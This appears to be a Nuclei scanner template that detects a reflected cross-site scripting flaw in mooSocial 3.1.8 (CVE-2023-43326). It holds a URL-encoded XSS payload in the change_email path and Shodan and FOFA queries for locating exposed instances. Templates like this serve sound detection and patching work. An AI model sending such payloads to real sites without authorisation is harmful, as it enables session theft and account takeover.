id: CVE-2023-43326

info:
  name: MooSocial 3.1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exisits in multiple url of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through URL parameters in the change_email endpoint to steal MooSocial user session cookies and impersonate victim accounts.
  remediation: |
    Update MooSocial to a version newer than 3.1.8 that properly sanitizes and encodes URL parameters in user management endpoints.
  reference:
    - https://github.com/ahrixia/CVE-2023-43326
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43326
    - https://moosocial.com/
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-43326
    cwe-id: CWE-79
    epss-score: 0.01615
    epss-percentile: 0.73612
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query: http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve2023,cve,xss,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
        condition: and
# digest: 4b0a00483046022100c051eee8671c2850eb5a71fd0b46f430f181dabeaffce037b8285166660baa1f022100b607dccba468634847a1ae2dfc43ca0626dc6ce5d76489a936197eee550193df:922c64590222798bb761d5b6d8e72950